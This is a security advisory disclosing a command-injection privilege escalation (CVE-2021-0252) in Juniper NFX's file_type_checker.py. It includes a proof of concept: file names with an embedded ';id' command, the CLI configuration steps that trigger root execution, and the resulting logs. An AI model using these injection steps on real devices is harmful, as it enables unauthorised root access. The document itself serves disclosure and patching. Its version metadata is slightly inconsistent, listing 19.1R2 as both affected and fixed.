Junos OS: NFX Series: Local Code Execution Vulnerability in JDMD Leads to Privilege Escalation (CVE-2021-0252)

High **orange-cert-cc** published **GHSA-gr7j-26pv-5v57** on Nov 24, 2021

Package

Junos OS (Juniper)

Affected versions

19.2R1.8
19.1R2

Patched versions

None

Description

Overview

On Juniper NFX product, a command injection is possible from the CLI on the python script file_type_checker.py, resulting on execution with full privileges on the host. The vulnerability may probably also be triggered from a netconf client, but that has not been tested.

Details

A NFX device has a function to detect the type of files provided by the users. For instance, this function is called when instantiating a NFV (type of the image: qcow2...), or when a storage is attached to it (iso, raw...). To achieve this, the process jdmd calls the python script file_type_checker.py via popen(), and then the python script itself calls qemu-img via subprocess.check_ouput().

We already know that the popen() calls from jdmd are vulnerable to command injection (see SIR-2019-263), but even if fixed, the same vulnerability can be triggered on the python level. The script calls the function subprocess.check_output() with the parameter shell=True, which is a security hazard especially when the command is build from untrusted input without any sanitization. Furthermore, as the python script runs with root privileges, any injection gives full privileges on the host.

Proof of Concept

We need to create two files, because jdmd and the python script check the existence of the file given as parameters. Furthermore, we need to escape the file names used by jdmd to avoid the command injection in this daemon. The content of the files does not matter, they may even be empty. To create the files, we can use the "start shell" command of the cli, that opens a shell command line with access to folders shared between the junos hosting the cli and the host itself.

For instance, when instantiating a VM:

```
> start shell
# touch '/var/public/;id' '/var/public/\;id'
# exit
> configure
# set virtual-network-functions my_nfv image "/var/public/\;id"
# commit
```

The logs of file_type_checker show the command injection:

```
2019-07-26T06:48:32.244309+00:00 local-node file_type_checker.py: file_type_checker.py: About to run command: qemu-img info /var/public/;id 2>&1
2019-07-26T06:48:32.259465+00:00 local-node mgd: UI_COMMIT_PROGRESS: Commit operation in progress: Collecting status of Juniper Device Manager service process
2019-07-26T06:48:32.266576+00:00 local-node file_type_checker.py: file_type_checker.py: Command output: uid=0(root) gid=0(wheel)
groups=0(wheel),5(operator),10(field),31(guest),73(config)
2019-07-26T06:48:32.266882+00:00 local-node file_type_checker.py: file_type_checker.py: About to run command: jhost blkid -p -o export /var/public/;id 2>&1
2019-07-26T06:48:32.415320+00:00 local-node jhost.py: About to execute command: blkid -p -o export /var/public/
2019-07-26T06:48:32.425391+00:00 local-node file_type_checker.py: file_type_checker.py: Command output: uid=0(root) gid=0(wheel)
groups=0(wheel),5(operator),10(field),31(guest),73(config)
```

The same vulnerability can be triggered by adding a storage to a VNF:

```
> start shell
# touch '/var/public/;id' '/var/public/\;id'
# exit
> configure
# set virtual-network-functions my_nfv storage sdb type cdrom source file "/var/public/\;id"
# commit
```

Again, the logs:

```
2019-07-26T06:50:49.449100+00:00 local-node file_type_checker.py: file_type_checker.py: About to run command: qemu-img info /var/public/;id 2>&1
2019-07-26T06:50:49.473100+00:00 local-node mgd: UI_COMMIT_PROGRESS: Commit operation in progress: Collecting status of Juniper Device Manager service process
2019-07-26T06:50:49.481824+00:00 local-node file_type_checker.py: file_type_checker.py: Command output: uid=0(root) gid=0(wheel)
groups=0(wheel),5(operator),10(field),31(guest),73(config)
2019-07-26T06:50:49.482304+00:00 local-node file_type_checker.py: file_type_checker.py: About to run command: jhost blkid -p -o export /var/public/;id 2>&1
2019-07-26T06:50:49.594327+00:00 local-node jhost.py: About to execute command: blkid -p -o export /var/public/
2019-07-26T06:50:49.599268+00:00 local-node file_type_checker.py: file_type_checker.py: Command output: uid=0(root) gid=0(wheel)
groups=0(wheel),5(operator),10(field),31(guest),73(config)
```

Interestingly, even if the configuration commit fails, the faulty storage image seems to remain in the configuration, and the command injection can be triggered again from the cli:

```
> show virtual-network-functions storage
application: invalid-value
low: failed to fetch the data with exception Command 'qemu-img info /var/public/;id | grep 'file format'' returned non-zero exit status 1
```

Solution

Security patch

The following software releases have been updated to resolve this specific issue: Junos OS: 18.2R3-S5, 18.3R2-S4, 18.3R3-S3, 18.4R2-S5, 18.4R3-S4, 19.1R1-S3, 19.1R2, 19.2R1-S5, 19.2R2, 19.3R1 and all subsequent releases.

Workaround

There are no workarounds that address this vulnerability.

References

https://kb.juniper.net/InfoCenter/index?page=content&id=JSA11145
https://nvd.nist.gov/vuln/detail/CVE-2021-0252

Credits

Orange CERT-CC
Loïc RESTOUX at Orange group

Timeline

Date reported: July 30, 2019
Date fixed: April 14, 2021

Severity

High 7.8 / 10

CVSS base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2021-0252

Weaknesses

CWE-77